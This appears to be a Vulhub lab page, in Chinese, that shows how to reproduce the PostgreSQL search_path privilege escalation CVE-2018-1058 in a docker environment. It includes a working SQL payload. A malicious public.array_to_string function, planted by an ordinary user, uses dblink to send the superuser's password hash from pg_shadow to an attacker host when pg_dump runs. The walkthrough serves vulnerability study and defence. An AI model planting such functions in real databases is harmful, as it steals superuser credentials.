PostgreSQL 提權漏洞(CVE-2018-1058)
PostgreSQL 是一款關系型數據庫。其9.3到10版本中存在一個邏輯錯誤,導致超級用戶在不知情的情況下觸發普通用戶創建的惡意代碼,導致執行一些不可預期的操作。
參考鏈接:
- https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path
- https://xianzhi.aliyun.com/forum/topic/2109
漏洞環境
啟動存在漏洞的環境:
docker-compose up -d
環境啟動后,將在本地開啟PG默認的5432端口。
漏洞復現
參考上述鏈接中的第二種利用方式,我們先通過普通用戶vulhub:vulhub的身份登錄postgres: psql --host your-ip --username vulhub

執行如下語句后退出:
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
然后我在10.0.0.1上監聽5433端口,等待超級用戶觸發我們留下的這個“后門”。
(假裝自己是超級用戶)在靶場機器下,用超級用戶的身份執行pg_dump命令:docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub,導出vulhub這個數據庫的內容。
執行上述命令的同時,“后門”已被觸發,10.0.0.1機器上已收到敏感信息:

上述過程僅是該漏洞的一種利用方法,涉及到機器比較多可能有點亂,建議讀者閱讀參考鏈接中的文章,獲取更多利用方法。
Vulhub 文檔